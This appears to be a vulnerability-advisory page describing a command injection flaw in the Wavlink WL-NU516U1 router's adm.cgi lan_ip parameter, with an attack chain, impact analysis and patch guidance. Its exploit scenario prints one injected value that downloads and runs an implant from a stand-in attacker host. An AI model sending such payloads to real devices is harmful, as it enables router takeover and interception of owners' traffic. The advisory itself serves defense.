Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-privilege credentials or craft CSRF lure
-
DeliverySend crafted HTTP POST to /cgi-bin/adm.cgi
-
ExploitInject shell metacharacters in lan_ip parameter
-
Executionwlink_uci_set_value executes unsanitized OS command
-
ImpactAchieve arbitrary code execution on router OS
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires low-privilege authenticated access to the router's web administration interface, confirmed by the CVSS 4.0 PR:L metric. The attacker must be able to submit HTTP requests to /cgi-bin/adm.cgi on the device. A secondary exploitation path via Cross-Site Request Forgery is indicated by the public PoC repository name, which could enable exploitation by tricking an authenticated administrator's browser into issuing the malicious request - this lowers the effective barrier to credential possession. Exploitation is constrained to: the WL-NU516U1 hardware model specifically, firmware versions prior to the June 22, 2026 patch, and requires either valid credentials or a social engineering vector for the CSRF path. Devices with WAN-side remote management disabled are not directly reachable by external network attackers, though LAN-side or CSRF-based attacks remain possible. |
| Impact | The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) with exploit maturity E:P produces a score of 5.3 Medium. However, the low impact metrics (VC:L/VI:L/VA:L) appear significantly conservative for an OS command injection vulnerability on a network appliance - in practice, such a flaw typically yields root-level arbitrary code execution, granting full device compromise including access to all traffic routed through the device. No EPSS data was provided in the input, so exploitation probability cannot be quantified. The vulnerability is not listed in CISA KEV, indicating no confirmed widespread active exploitation at time of analysis. The availability of a public PoC on GitHub (E:P confirmed) substantially lowers the barrier for opportunistic exploitation. Despite the medium CVSS score, any authenticated OS command injection on a device in the network path should be treated as a high operational priority. The PoC repository name references CSRF, suggesting an additional exploitation path that could reduce the effective authentication requirement for attackers who can lure authenticated administrators to malicious pages. |
| Exploit ScenarioDerived | An attacker with low-privilege authenticated access to the Wavlink WL-NU516U1 admin panel sends a crafted POST request to /cgi-bin/adm.cgi with the lan_ip parameter containing shell injection characters (e.g., '192.168.1.1;wget http://attacker.com/implant -O /tmp/x;chmod +x /tmp/x;/tmp/x'). The wlink_uci_set_value function passes the unsanitized value directly into an OS command, executing the injected payload at the privilege level of the web server process. A public proof-of-concept including a CSRF delivery variant is available at https://github.com/0xcc12138/wavlink-nu516u1-csrf-command-injection-, enabling exploitation of authenticated administrators without requiring direct credential theft. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 13, 2026
OS command injection in the Wavlink WL-NU516U1 router's CGI web administration interface allows authenticated network attackers to execute arbitrary operating system commands by injecting shell metacharacters into the lan_ip parameter of the adm.cgi endpoint. The wlink_uci_set_value function passes attacker-controlled input unsanitized into OS-level commands, enabling full compromise of the underlying Linux-based router OS. A public proof-of-concept exploit is available on GitHub (no public exploit identified at time of analysis for KEV), and the vendor has released a patched firmware as of June 22, 2026.
RemediationAI
Upgrade to the vendor-patched firmware released June 22, 2026: WINSTAR_NU516U1-WO-A-2026-06-22-5ccde97-mt7628-squashfs-sysupgrade.bin, available directly from Wavlink at https://dl.wavlink.com/firmware/RD/WINSTAR_NU516U1-WO-A-2026-06-22-5ccde97-mt7628-squashfs-sysupgrade.bin. As an interim measure prior to patching, disable WAN-side remote management to eliminate the network attack vector for external unauthenticated parties - note this does not protect against LAN-side authenticated attackers or the CSRF delivery path. Additionally, restrict access to /cgi-bin/adm.cgi to trusted management workstations via firewall rules or ACLs, and avoid accessing the router admin interface from browsers used for general web browsing to reduce CSRF exposure. Changing default credentials is advisable but does not remediate the injection flaw itself.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Wavlink WL-NU516U1 is a SOHO router built on the MediaTek MT7628 chipset running an OpenWrt-derived firmware. Administrative functions are exposed through CGI scripts, specifically /cgi-bin/adm.cgi. The wlink_uci_set_value function - responsible for applying UCI (Unified Configuration Interface) network settings such as LAN IP configuration - fails to neutralize special shell characters in the lan_ip argument before constructing OS-level commands, constituting a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command). By injecting metacharacters such as semicolons, backticks, or pipes into the lan_ip parameter, an attacker breaks out of the intended command context and executes arbitrary payloads on the host OS. The affected product is identified by CPE cpe:2.3:a:wavlink:wl-nu516u1:*:*:*:*:*:*:*:*, with the wildcard version field indicating the flaw spans multiple firmware builds prior to the June 2026 patch.
Know when Wl Nu516U1 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Network-accessible CGI endpoint requires low-privilege auth (PR:L); OS command injection on a router realistically yields full device control, warranting C:H/I:H/A:H.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
2DescriptionCVE.org
A security flaw has been discovered in Wavlink WL-NU516U1 260515. This affects the function wlink_uci_set_value of the file /cgi-bin/adm.cgi. Performing a manipulation of the argument lan_ip results in os command injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. You should upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Wl Nu516U1
View allRemote attackers can exploit a stack-based buffer overflow in the /cgi-bin/nas.cgi endpoint of Wavlink WL-NU516U1 by man
Stack-based buffer overflow in the Wavlink WL-NU516U1 (firmware 708c073-mt7628) router's nas.cgi handler lets remote una
Stack-based buffer overflow in the Wavlink WL-NU516U1 NAS device's nas.cgi password change handler allows remote unauthe
OS command injection in the Wavlink WL-NU516U1 firmware (build 708c073-mt7628) allows remote attackers to execute arbitr
A vulnerability was found in Wavlink WL-NU516U1 240425.
OS command injection in the Wavlink WL-NU516U1 router's admin password handler allows a remote, low-privileged authentic
EUVD-2026-43254
GHSA-f39c-wxvq-c7vx
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB